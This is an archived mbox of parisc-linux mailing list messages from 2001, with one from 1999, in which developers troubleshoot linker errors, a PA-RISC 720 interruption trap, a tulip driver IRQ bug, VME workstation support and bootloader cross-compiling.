X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9345

> Just to try something out...I 'm curious as to which file contains the
> listing of paths that are searched for libraries by gcc or g++ (or in
> general all paths searched by the shell for execution), does anyone know
> which file that is?

Try running gcc with `-print-search-dirs'.  You can get complete list of gcc
options with `-v --help'.  `-v' may help to see how linker is being run.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt1.o
Date: Tue, 23 Jan 2001 17:03:05 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <3A6E0DA9DA.2E2DJCARLSON@smtp.macalester.edu>
References: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu>
 <200101232249.RAA04914@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619578 11143 80.91.229.3 (22 Nov 2014 01:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: jcarlson@macalester.edu  Tue Jan 23 16:00:44 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01279
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 16:00:44 -0700
Original-Received: (qmail 16110 invoked by uid 15267); 23 Jan 2001 23:04:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16102 invoked from network); 23 Jan 2001 23:04:37 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 23:04:37 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZ95QFJ2NC002748@macalester.edu> for
 parisc-linux@thepuffingroup.com; Tue, 23 Jan 2001 17:04:38 CDT
In-reply-to: <200101232249.RAA04914@hiauly1.hia.nrc.ca>
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9346

> > Just to try something out...I 'm curious as to which file contains the
> > listing of paths that are searched for libraries by gcc or g++ (or in
> > general all paths searched by the shell for execution), does anyone know
> > which file that is?
> 
> Try running gcc with `-print-search-dirs'.  You can get complete list of gcc
> options with `-v --help'.  `-v' may help to see how linker is being run.

I suppose I should have said so...but the actual command being used to
find the libraries is ld.  I've tried to figure that command out...but
it's not liking me at all.
I have not tried the -print-search-dirs on my HP machine, but will
tomorrow.
Though in general, how do I add paths to be searched by the OS?
Thank you,
 - Josiah


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt1.o
Date: Tue, 23 Jan 2001 22:56:55 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20010123225654.B3571@linuxcare.com>
References: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619579 11148 80.91.229.3 (22 Nov 2014 01:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Josiah Carlson <jcarlson@macalester.edu>
Original-X-From: rhirst@linuxcare.com  Tue Jan 23 16:02:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01407
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 16:02:59 -0700
Original-Received: (qmail 19319 invoked by uid 15267); 23 Jan 2001 23:06:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19291 invoked from network); 23 Jan 2001 23:06:42 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 23:06:42 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6C3A7B005; Tue, 23 Jan 2001 22:56:55 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu>; from jcarlson@macalester.edu on Tue, Jan 23, 2001 at 04:37:40PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:9347

On Tue, Jan 23, 2001 at 04:37:40PM -0600, Josiah Carlson wrote:
> To summarize my current installation:
> .5 image copied onto hard drive
> base.tgz installed
> nfsroot from 10-05-2000
> ftp.deb (works great BTW)
> 
> >From here I've tried to configure MPICH for compilation...though I keep
> getting a crt1.o not found error, even though it exists in /usr/lib.

The quote below is from last October - don't know if it will help
you.

Richard


> > 10:~# make mlock 
> > cc     mlock.c   -o mlock
> > /usr/bin/ld: cannot open crt1.o: No such file or directory
> > collect2: ld returned 1 exit status
> > make: *** [mlock] Error 1
> > 
> > 
> 
> According to Bdale, the fix is:
> 
> ln -s /usr/lib /usr/hppa-linux/lib
> 
> randolph


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt1.o
Date: Tue, 23 Jan 2001 18:08:49 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200101232308.SAA05005@hiauly1.hia.nrc.ca>
References: <3A6E0DA9DA.2E2DJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619579 11151 80.91.229.3 (22 Nov 2014 01:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jcarlson@macalester.edu (Josiah Carlson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan 23 16:04:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA01722
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 16:04:59 -0700
Original-Received: (qmail 22220 invoked by uid 15267); 23 Jan 2001 23:08:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22210 invoked from network); 23 Jan 2001 23:08:52 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 23:08:52 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA05005;
	Tue, 23 Jan 2001 18:08:49 -0500 (EST)
In-Reply-To: <3A6E0DA9DA.2E2DJCARLSON@smtp.macalester.edu> from "Josiah Carlson" at Jan 23, 2001 05:03:05 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9348

> > > Just to try something out...I 'm curious as to which file contains the
> > > listing of paths that are searched for libraries by gcc or g++ (or in
> > > general all paths searched by the shell for execution), does anyone know
> > > which file that is?
> > 
> > Try running gcc with `-print-search-dirs'.  You can get complete list of gcc
> > options with `-v --help'.  `-v' may help to see how linker is being run.
> 
> I suppose I should have said so...but the actual command being used to
> find the libraries is ld.  I've tried to figure that command out...but
> it's not liking me at all.
> I have not tried the -print-search-dirs on my HP machine, but will
> tomorrow.
> Though in general, how do I add paths to be searched by the OS?
> Thank you,

Gcc has builtin defaults.  You shouldn't need to specify a search patch
for crt0.o.  Including `-v' on the gcc command will show the stuff that
is being passed to ld.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Step by step .... 9000/720 and interruption (trap) 18
Date: Wed, 24 Jan 2001 00:21:20 +0100
Organization: private
Lines: 38
Approved: news@gmane.org
Message-ID: <3A6E11F0.F87DC2E1@dot.at>
References: <200101232308.SAA05005@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619579 11154 80.91.229.3 (22 Nov 2014 01:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:19 +0000 (UTC)
Cc: christoph.plattner@alcatel.at
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@dot.at  Tue Jan 23 16:17:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02186
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 16:17:31 -0700
Original-Received: (qmail 7124 invoked by uid 15267); 23 Jan 2001 23:21:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7106 invoked from network); 23 Jan 2001 23:21:24 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 23:21:24 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-018.dot.at [212.9.128.58])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA00572;
	Wed, 24 Jan 2001 00:29:11 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9349

Hallo PA RISC hackers !

I mentioned before, that I have problems using my Apollo 700 (9000/720)
with the Linux here. I build a new cross tool chain and a new
kernel + palo (all from 13.Jan 2001) but I always have the problem of
looping error code:

handler_interruption() pid=1 command='init'

or whatever my first process is. I have instrumented the kernel code
and added the output of the code number (a good idea to have this
fix in the kernel !) and I saw:

	code=18

So I have the code 18 (decimal). In the PA RISC 1.1 manual (your link)
I saw following description:

	18  Data memory protection trap / Unaligned data reference trap

So what does this mean here. An alignment problem ?
Why is this code not handled in the switch/case ?

I always use (I think the 32bit code). Have I set to a parisc64 ?
How can I influence this ?
Which kind of CPU is this in the 720 model ? (I know a 50MHz PA RISC ..)

I hope anybody can help here

	Christoph




-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tulip bug "resolution"
Date: Tue, 23 Jan 2001 17:22:08 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <E14LDhQ-0002Uc-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619580 11155 80.91.229.3 (22 Nov 2014 01:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@fc.hp.com  Tue Jan 23 17:18:59 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA02759
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 17:18:59 -0700
Original-Received: (qmail 8809 invoked by uid 15267); 24 Jan 2001 00:22:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7599 invoked from network); 24 Jan 2001 00:22:11 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 00:22:11 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 797566F9
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Jan 2001 19:22:10 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id RAA25023
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Jan 2001 17:22:09 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14LDhQ-0002Uc-00
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Jan 2001 17:22:08 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9350


Some may remember I put a hack in drivers/net/tulip/interrupt.c to
avoid a null pointer deref caused by a data structure being referenced
before being allocated.  I've only seen this on B180 I think.  I posted
my patch to the sourceforge tulip project and received the following
reply.  I don't know enough about the network driver stuff and our
changes to it to figure out what to do next.  Maybe this bug has
magically disappeared but I bet not.

	-P

------- Forwarded Message

To: bame@puffin.external.hp.com, jgarzik@mandrakesoft.com
Subject: [Patch #103298] [Bug #124918] packet received prior to buffer allocation cr
Message-Id: <E14LCCc-0008AO-00@usw-sf-web2.sourceforge.net>
Date: Tue, 23 Jan 2001 14:46:14 -0800

Patch #103298 has been updated. 

Project: tulip
Category: Bug fix
Status: Open
Submitted by: paulbame
Assigned to : jgarzik
Summary: [Bug #124918] packet received prior to buffer allocation cr

Follow-Ups:

Date: 2001-Jan-23 14:46
By: nobody

Comment:
bogus patch -- the Tulip receiver is started up after the skbuffs are
allocated. This user must have broken hardware.
- -------------------------------------------------------

- -------------------------------------------------------
For more info, visit:

http://sourceforge.net/patch/?func=detailpatch&patch_id=103298&group_id=13004


------- End of Forwarded Message


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip bug "resolution"
Date: Tue, 23 Jan 2001 18:08:52 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <200101240209.SAA20445@milano.cup.hp.com>
References: <E14LDhQ-0002Uc-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619580 11156 80.91.229.3 (22 Nov 2014 01:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: grundler@cup.hp.com  Tue Jan 23 19:03:18 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA03683
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 19:03:17 -0700
Original-Received: (qmail 2640 invoked by uid 15267); 24 Jan 2001 02:07:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2631 invoked from network); 24 Jan 2001 02:07:10 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 02:07:10 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id DBA8BC0A
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Jan 2001 18:07:09 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA20445;
	Tue, 23 Jan 2001 18:09:05 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 23 Jan 2001 17:22:08 PST."
             <E14LDhQ-0002Uc-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9351

Paul Bame wrote:
> 
> Some may remember I put a hack in drivers/net/tulip/interrupt.c to
> avoid a null pointer deref caused by a data structure being referenced
> before being allocated.  I've only seen this on B180 I think.
...
> Maybe this bug has magically disappeared but I bet not.

I suspect it's really fixed.
Here are some thoughts on tulip and IRQ initialization.

In tulip_open():
	o calls request_irq(... &tulip_interrupt, ...)
	o call tulip_init_ring() - sets tp->rx_buffers[].skb to null
	  before allocating them.
	  ...

If a pending IRQ is waiting in Dino, the handler will get called when
the IRQ is enabled by request_irq().  This is potentially a bug in
the Dino IRQ handling...so I looked and saw:

	/* Emulate "Level Triggered" Interrupt
	** Basically, a driver is blowing it if the IRQ line is asserted
	** while the IRQ is disabled.  But tulip.c seems to do that....
	** Give 'em a kluge award and a nice round of applause!
	**
	** The gsc_write will generate an interrupt which invokes dino_isr().
	** dino_isr() will read IPR and find nothing. But then catch this
	** when it also checks ILR.
	*/

But note that tulip.c no longer exists. Tulip has been restructured
into multiple files under drivers/net/tulip/.  The thing to do is
reproduce this problem with current bits.  If it doesn't happen, then
the initialization code in tulip *was* fixed and we should remove the
comment in drivers/gsc/dino.c as well.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 742
Date: Wed, 24 Jan 2001 08:16:10 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <04db01c085d6$4ebeda40$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619580 11162 80.91.229.3 (22 Nov 2014 01:26:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:20 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Wed Jan 24 00:26:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA05864
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 00:26:34 -0700
Original-Received: (qmail 14381 invoked by uid 15267); 24 Jan 2001 07:30:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14312 invoked from network); 24 Jan 2001 07:30:21 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 07:30:21 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 8090AD1588
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 08:30:07 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:9352

Hi!

We have a "sidewinder 742i" (VME Bus) running as well as possible (seems to
be like a 715/50).
Working  ;o) :
      - SCSI
      - LAN
      - Both RS232

TO DO :
     - all VME developments (VME networking...) :-(
     - some warnings like "kmem word alignment"
     - testing the parallel port

To continue our investigations and developments, we need some documentations
like user guide and technical documentation. We don't know which VME bus is
used for example.

These workstations are not in the hardware database and there is no way to
add them manually.

Thierry Simonnet
ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] One more step: Interruption (trap) 18 on 9000/720
Date: Wed, 24 Jan 2001 09:14:50 +0100
Organization: AAA
Lines: 38
Approved: news@gmane.org
Message-ID: <3A6E8EFA.8D04A5F@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619581 11170 80.91.229.3 (22 Nov 2014 01:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@alcatel.at  Wed Jan 24 01:11:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA06455
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 01:11:20 -0700
Original-Received: (qmail 20237 invoked by uid 15267); 24 Jan 2001 08:14:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20229 invoked from network); 24 Jan 2001 08:14:54 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 08:14:54 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.20 01/12/01 22:50:08) with ESMTP id JAA11408
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 09:14:50 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9353

Hallo PA RISC hackers !

I mentioned before, that I have problems using my Apollo 700 (9000/720)
with the Linux here. I build a new cross tool chain and a new
kernel + palo (all from 13.Jan 2001) but I always have the problem
of that always repeated error:

handler_interruption() pid=1 command='init'

or whatever my first process is. I have instrumented the kernel code
and added the output of the code number (a good idea to have this
fix in the kernel !) and I saw:

        code=18

So I have the code 18 (decimal). In the PA RISC 1.1 manual (your link)
I saw following description:

        18  Data memory protection trap / Unaligned data reference trap

So what does this mean here. An alignment problem ?
Why is this code not handled in the switch/case ?

I always use (I think the 32bit code). Have I set to a parisc64 ?
How can I influence this ?
Which kind of CPU is this in the 720 model ? (I know a 50MHz PA RISC ..)

I hope anybody can help here

        Christoph




-------------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 19:18:00 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <19990601191800.C25364@suse.de>
References: <Pine.LNX.4.10.9906011146400.24972-100000@centauri.osfi-bsif.gc.ca> <199906011644.MAA25119@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619581 11173 80.91.229.3 (22 Nov 2014 01:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:21 +0000 (UTC)
Cc: Christopher Beard <cjbeard@istar.ca>, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@suse.de  Tue Jun  1 11:18:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA09736
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 11:18:19 -0600
Original-Received: (qmail 6663 invoked by uid 15267); 1 Jun 1999 17:17:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6648 invoked from network); 1 Jun 1999 17:17:35 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 17:17:35 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id B2E8432CEB; Tue, 01 Jun 1999 19:18:15 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 05FF09410; Tue,  1 Jun 1999 19:18:15 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 01F237F8B; Tue,  1 Jun 1999 19:18:01 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199906011644.MAA25119@hiauly1.hia.nrc.ca>; from John David Anglin on Tue, Jun 01, 1999 at 12:44:46PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9354

> If the IPL could be extracted from an ELF binary, then it could be produced
> on any system which supports cross compiling to HP/UX ELF format.

The problem (unless for the confused ones Christopher just showed the light)
is the GNU binutils seem to be buggy at the moment.

> There also seems to be some confusion about the kernel and its format.
> In order to debug it, it needs to be either an ELF or SOM binary with
> symbol tables, .stabs info, etc.

In practice, a System.map should be enough and we don't need to keep an ELF
binary on the disk.

> Although I haven't looked at the IPL, I would guess that it is designed to
> load an ELF binary.

It isn't. Currently the IPL is stored with a raw kernel image to load and
some pointers. Once we have something to boot, we can have a look at how
aboot and other bootloaders handle the situation (and steal their code of
course).

> > I haven't looked at this very closely, but when I attempted to generate a
> > raw binary of the bootloader code with the xcompiler/binutils it either
> > segfaulted or generated a 4 GB sparse file. There was a double free within
> > binutils which was fixed, and some minor version mismatches, but still, it
> > does not generate a working binary.

> Obviously, the bootloader will be a pain to debug.  I think that I have
> a working cross compiler running under hpux to produce ELF object files
> and binaries.  I had a problem with ld which went away when I rebuilt
> binutils with no optimization (-O0).

We need to get to the point where we can safely cross-compile for parisc machines
on i386. My experience with binutils / bfd is rather limited, so I wait for some-
one else to do it...


From - Thu Nov 08 21:15:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc vs. parisc64
Date: Wed, 24 Jan 2001 09:38:09 +0100
Organization: AAA
Lines: 14
Approved: news@gmane.org
Message-ID: <3A6E9471.BB5A67EF@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619581 11175 80.91.229.3 (22 Nov 2014 01:26:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@alcatel.at  Wed Jan 24 01:34:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA06860
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 01:34:24 -0700
Original-Received: (qmail 7561 invoked by uid 15267); 24 Jan 2001 08:38:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7537 invoked from network); 24 Jan 2001 08:38:16 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 08:38:16 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.20 01/12/01 22:50:08) with ESMTP id JAA12562
